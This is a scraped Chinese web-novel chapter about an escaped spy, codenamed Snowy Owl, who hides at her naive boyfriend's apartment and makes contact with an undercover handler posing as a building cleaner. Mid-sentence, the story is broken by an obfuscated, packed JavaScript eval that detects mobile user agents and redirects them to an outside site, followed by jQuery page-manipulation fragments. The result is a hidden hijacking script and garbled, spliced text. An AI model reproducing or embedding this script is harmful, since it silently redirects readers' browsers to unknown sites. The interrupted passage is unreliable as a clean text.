46. 雪鸮归来

作品:《学生闹翻天3

    拉特娜·维贾亚,也就是真正的雪鸮,  她的人生如果是一部电视剧那这一集的标题一定是“越狱犯的尴尬重逢:如何向男友解释自己过去三个月在坐牢,但现在又要借用他的房子搞间谍活动”。


    事情是这样的:从军方拘留中心逃出来后,雪鸮需要一个安全的地方躲藏、思考、以及重新连接自己的网络。她有几个选择:爪哇的安全屋(太远)、黑市联系人提供的藏身处(太危险)、或者……男朋友爱德华的家。


    她选择了爱德华。不是因为爱情(虽然确实有),而是因为爱德华是个单纯到令人心疼的软件工程师,他的世界观里最大的阴谋可能是公司食堂的厨师往汤里多加了水。更重要的是,爱德华住在瑆洲一个普通中产小区,邻居都是朝九晚五的上班族,没人会想到一个越狱的国际特工藏在那里。


    于是,在一个雨夜,雪鸮敲响了爱德华家的门。


    爱德华打开门时,穿着皱巴巴的睡衣,头发乱得像鸟窝,手里还拿着吃了一半的薯片。他看到雪鸮时,眼睛瞪得像铜铃:


    “拉……拉特娜?你不是在……你不是说去欧洲出差三个月吗?”


    雪鸮挤出一个微笑:“计划有变。能让我进去吗?外面下雨。”


    “哦,当然!”爱德华赶紧让开,“天啊,你看起来……呃,经历了很多。”


    雪鸮走进这个她一年没来过的公寓。一切都没变:沙发上还是那些丑得惊人的抱枕,墙上还是那些她看不懂的极简主义抽象画,茶几上还是堆满了编程书籍和空可乐罐。


    “坐,坐!”爱德华手忙脚乱地把沙发上的脏衣服扫到一边,“要喝点什么吗?我只有可乐和……呃,过期三天的牛奶。”


    “可乐就好。”雪鸮坐下,尽量让自己看起来像个正常的、刚从长途旅行回来的女朋友,而不是一个刚越狱的逃犯。


    爱德华从冰箱里拿出两罐可乐,递给她一罐,然后在她对面坐下,眼睛一直盯着她,像是在确认这不是幻觉。


    “所以……”他小心翼翼地问,“欧洲怎么样?”


    “很潮湿。”雪鸮实话实说——拘留中心确实很潮湿。


    “工作顺利吗?”


    “遇到了些……技术性问题。”


    “哦。”爱德华点头,虽然明显没听懂,“那你现在回来了?还要走吗?”


    “可能需要住几天。”雪鸮说,“如果不麻烦的话。”


    “不麻烦不麻烦!”爱德华连忙摆手,“你住多久都行!就是……嗯,客房现在堆满了我的电子零件,但主卧你可以用,我睡沙发!”


    “谢谢。”


    尴尬的沉默。雨点敲打着窗户。


    “那个……”爱德华犹豫着,“你没事吧?你看起来……嗯,有点紧张。”


    雪鸮意识到自己还保持着高度警惕的状态,肩膀绷紧,眼睛不时扫视门窗。她强迫自己放松:“只是时差。还有,有点累。”


    “理解理解!”爱德华站起来,“你要洗澡吗?我去给你拿毛巾!”


    他跑进浴室。雪鸮趁机快速检查了一下公寓:没有监控设备(至少没有明显的),窗户都有锁,门是双层防盗门。安全性一般,但够用了。


    更重要的是,爱德华的公寓在23楼,视野开阔,能看到小区入口和街道。如果有可疑人员接近,她可以提前发现。


    爱德华拿着毛巾和一套干净的衣服回来了:“这是我的T恤和运动裤,可能大了点,但你先凑合穿。”


    雪鸮接过衣服,心里突然涌起一股荒谬的温暖。在这个世界上,居然还有人关心她穿得舒不舒服。


    “谢谢。”她说,这次是真的微笑。


    “不客气!”爱德华脸红了,“那个,我去收拾客房,给你腾点空间出来。”


    他转身要走,雪鸮叫住他:“爱德华。”


    “嗯?”


    “如果……如果有人问起我,就说我在欧洲,还没回来。”


    爱德华眨眨眼:“为什么?”


    “工作需要。”雪鸮说,“保密协议。”


    这个解释对软件工程师来说足够合理。爱德华点头:“明白!绝对保密!”


    他离开后,雪鸮走进浴室,锁上门。镜子里的女人看起来很陌生:苍白、疲惫、眼睛里有某种野性的警惕。她脱掉衣服,看着身上那些在拘留中心留下的淤青和伤痕。


    三个月。她活下来了,逃出来了。


    现在,该算账了。


    ---


    第二天早上,雪鸮被咖啡的香气唤醒。她走出卧室,看到爱德华在厨房里手忙脚乱地做着早餐——从烧焦的吐司和煎得过头的鸡蛋来看,他显然不常做饭。


    “早!”爱德华看到她,露出一个大大的笑容,“早餐马上好!虽然可能不太好吃……”


    “闻起来很香。”雪鸮在餐桌旁坐下。窗外阳光明媚,小区里有人在遛狗,孩子在玩耍。一切看起来那么正常,那么平静。


    讽刺的是,她现在是一个通缉犯,住在男朋友家,而男朋友傻得还以为她刚出差回来。


    “今天有什么计划吗?”爱德华把一盘黑乎乎的早餐放在她面前,“我可以在家办公,如果你想聊聊什么的……”


    “我可能需要出去一趟。”雪鸮说,“工作的事。”


    “哦。”爱德华有点失望,“那……晚上回来吃饭吗?我可以叫外卖!我知道有家暹罗菜很好吃!”


    “应该可以。”


    “太好了!”


    早餐后,雪鸮换上了昨天爱德华给她的衣服——确实大了,但很舒服。她从自己的背包里取出一些现金和一部一次性手机,准备出门。


    “对了,”爱德华在门口叫住她,“我们楼的清洁工今天下午会来。他是个新来的,爪哇人,人很好。如果你见到他,不用紧张。”


    清洁工。雪鸮心里一动。


    “他叫什么?”


    “好像叫……阿里?还是阿明?我记不清了。”爱德华挠头,“反正他总是戴着帽子,话不多,但打扫得很干净。”


    雪鸮点点头,离开了公寓。


    她确实有事要做:需要联系一些人,确认一些信息,特别是关于那个冒充她的家伙以及那批军火的下落。


    但清洁工的事让她留了个心眼。


    下午三点,雪鸮提前回到公寓楼。她没有直接上楼,而是在休息区坐下假装看杂志,实则观察。


    三点十五分,一个穿着灰色工作服的男人推着清洁车走进了大堂。他中等身材,戴着帽子和口罩,看不清脸。但雪鸮注意到他的走路姿势——很稳,肩膀不晃,脚步间距精确。那是受过训练的人才会有的步态。


    清洁工开始打扫大堂,动作专业但不急躁。他擦桌子、拖地、倒垃圾,一切如常。


    但雪鸮看到了细节:他在擦前台时,手指快速地在柜台下方摸索了一下;在倒垃圾时他检查了垃圾桶里的每一片纸屑;在拖地时他的眼睛不时扫视大堂的每一个角落和每一台监控摄像头。


    这不是普通的清洁工。


    这是同行。


    雪鸮站起来,走向电梯。清洁工抬头看了她一眼,眼神平静,然后继续工作。


    电梯门关上时,雪鸮从金属门的反光里看到,清洁工停下了手中的活,目送她离开。


    她回到爱德华的公寓,立刻开始检查。客厅、卧室、浴室、厨房……没有任何监听设备或摄像头。但这反而更可疑——如果对方是专业的,就会知道不放设备反而更能降低目标的警惕。


    下午五点,门铃响了。


    雪鸮从猫眼看出去,是那个清洁工。她打开门。


    “下午好,女士。”清洁工用爪哇语说,声音低沉,“我来打扫卫生间。爱德华先生说水管有点问题。”


    “进来吧。”雪鸮让开,手自然地垂在身侧——离藏在沙发垫下的匕首只有十厘米。


    清洁工推着清洁车进来,直接走向卫生间。他检查了水管,然后开始打扫。整个过程很专业,没有任何异常。


    但当他打扫到客厅时,他突然用极低的声音说:“代号验证:猫头鹰的第三声鸣叫。”


    雪鸮的心脏猛地一跳。这是爪哇情报局内部的高级验证暗号,只有少数人知道。


    她回答:“在月圆之夜。”


    “何时起飞?”


    “当风向改变时。”


    暗号通过。清洁工继续拖地,但声音依然很低:“短耳鸮向你报到。欢迎回来,雪鸮。”


    短耳鸮。爪哇情报局在瑆洲的最高级别潜伏特工,据说已经在这里活动了十年,身份从未暴露。


    而他居然是个清洁工。


    雪鸮几乎想笑。世界上最危险的情报人员之一,每天的工作是倒垃圾和刷马桶。


    “情况?”雪鸮问,也假装在整理沙发靠垫。


    “混乱。”短耳鸮说,“鱼鹰死了,伪装成抢劫案,但专业手法。战鹰组织暂停活动,但预计很快会重启。还有……”他停顿了一下,“有个女孩在冒充你。”


    “我知道。查到身份了吗?”


    “正在查。她很年轻,可能是瑆洲情报系统的人。成功打入了战鹰内部,但鱼鹰死前已经开始怀疑她。”


    “军火呢?”


    “刘易斯死了,被灭口。你的手法?”


    “不是。”雪鸮皱眉,“我逃出来后才听说他死了。”


    “那就奇怪了。”短耳鸮拖到窗边,“军火下落成谜。战鹰急需那批装备,压力都在那个假雪鸮身上。她撑不了多久。”


    “我们需要那些军火吗?”


    “不需要。但也不能让战鹰拿到。”短耳鸮转身,面对她,“上头的命令:如果可能,获取军火为我们所用;如果不能,确保它们被销毁或永远消失。”


    “明白。”


    短耳鸮继续拖地,声音恢复了正常音量:“卫生间的水管没问题了,女士。如果还有问题,可以打物业电话。”


    “谢谢。”雪鸮递给他一张钞票——小费,也是情报人员之间传递信息的常见方式。


    短耳鸮接过,手指在钞票边缘轻轻一摸,确认没有夹带信息,然后点头致谢,推着清洁车离开了。


    门关上后,雪鸮靠在门上,思考刚才的信息。


    短耳鸮是友军,这很好。但他也是上司派来的监视者,这就不太好了。爪哇情


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16937064|192889||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    报局显然不信任她——一个刚越狱的特工,谁知道会不会叛变?


    她需要证明自己的价值,重新赢得信任。


    而最好的方式,就是找到那批军火,或者至少,找到冒充她的那个女孩,搞清楚她到底是谁、想要什么。


    晚上七点,爱德华回来了,手里提着外卖:“暹罗菜!冬阴功汤、绿咖喱、还有芒果糯米饭!”


    雪鸮看着这个单纯的男人兴高采烈地摆桌子、拿餐具、甚至还点了蜡烛(虽然现在是夏天)。她突然感到一阵强烈的割裂感:一边是外卖和烛光晚餐,一边是间谍和军火;一边是爱她的男朋友,一边是想利用她的情报机构。


    “拉特娜?”爱德华注意到她在走神,“你没事吧?”


    “没事。”雪鸮微笑,“只是……很高兴能和你一起吃晚饭。”


    这是真话。


    晚餐时,爱德华聊着他的工作、他的同事、他最近在写的代码。雪鸮听着,偶尔点头,心里却在计划着明天要做什么。


    她需要接触那个假雪鸮,但不是直接接触——太危险。也许可以通过中间人,或者制造某种“意外”相遇。


    还有刘易斯的死。谁杀了他?为什么?如果她没杀,短耳鸮没杀,那会是谁?战鹰?瑆洲情报部门?还是第三方势力?


    谜团越来越多,而时间越来越少。


    “对了,”爱德华突然说,“我差点忘了告诉你。你猜我今天在电梯里遇到谁了?”


    “谁?”


    “我们公司的CEO!”爱德华兴奋地说,“他居然住在这个小区!而且他还认得我,说‘你是爱德华,在云计算部门的,对吧?’天啊,我简直不敢相信!”


    雪鸮微笑,心里想的却是:CEO?住在普通中产小区?要么这个CEO很节俭,要么……有问题。


    但她没说出口。爱德华需要他的单纯世界,她不能破坏它。


    晚饭后,爱德华坚持要洗碗,雪鸮则坐在沙发上,打开了电视。新闻正在报道阮文雄(鱼鹰)的葬礼后续,警方说“正在全力追查凶手”。


    她换了个台,是一个动物纪录片,讲的是猫头鹰的猎食习惯。


    旁白说:“猫头鹰是夜行性猛禽,它们无声地飞行,精准地猎杀,是夜晚的主宰。”


    雪鸮看着屏幕上的猫头鹰,突然觉得这很像自己——在黑暗中活动,依靠本能和技巧生存,永远不能暴露在阳光下。


    爱德华洗完碗,走过来坐在她旁边:“看什么呢?哦,猫头鹰!真酷!”


    他自然地搂住她的肩膀。雪鸮身体一僵,然后慢慢放松,靠在他身上。


    这一刻,她允许自己暂时忘记越狱犯的身份,忘记特工的任务,忘记所有的阴谋和危险。


    她只是一个女人,和她的男朋友一起看动物纪录片。


    即使只有几分钟,也是好的。


    纪录片结束时,爱德华已经睡着了,头靠在她肩膀上,发出轻微的鼾声。


    雪鸮轻轻挪开,把他放倒在沙发上,盖上毯子。


    然后她走到窗边,看着外面的夜色。


    城市灯火璀璨,像一片倒置的星空。


    在那些灯光下,有多少秘密正在发生?有多少交易正在进行?有多少人像她一样,在双重身份中挣扎?


    她不知道。


    但她知道,游戏还在继续。


    而这一次,她不只是玩家。


    她既是棋子,也是棋手;既是猎物,也是猎手。


    她拿起手机,发了一条加密信息:


    “准备接触假目标。需要支持。”


    几分钟后,回复来了:


    “同意。但谨慎。短耳鸮会提供掩护。”


    雪鸮关掉手机,最后看了一眼窗外。


    夜色深沉,适合猫头鹰活动。而她,就是最致命的猫头鹰。


    爱德华在沙发上翻了个身,喃喃梦呓:“代码……要优化……”


    雪鸮笑了。很轻,但真实。


    然后她转身,开始准备明天需要的装备和伪装。


    正常的生活很美好。


    但她注定不属于那里。


    至少现在不。


    ————————————————


    把黄安妮的良心比作是一块饼干,那现在已经被啃得只剩下渣了吧。每天晚上当她躺在那张昂贵但冰冷的大床上时都能听见那些渣子在脑子里哗啦啦地响,像某种精神上的碎屑。


    自从三年前她掐死莎莎之后就走上了一条不归路。她为爪哇情报局工作,为“战鹰”组织工作(双重间谍,惊喜吧),有时候还为自己工作(三重间谍,更惊喜了)。她拿三份薪水住着用黑钱买的豪华公寓,衣柜里塞满了名牌衣服,保险箱里藏着五本不同国家的护照。


    按理说,她应该很快乐。


    但她一点都不快乐。


    因为每天晚上,莎莎都会来她的梦里报到。


    不是那种恐怖的鬼魂索命——那反而简单了,大不了搬家或者找道士。不,莎莎来的时候总是穿着死前那件沾满颜料的白T恤,坐在黄安妮的床边,用那种“姐你为什么要这样”的眼神看着她,然后开始聊天。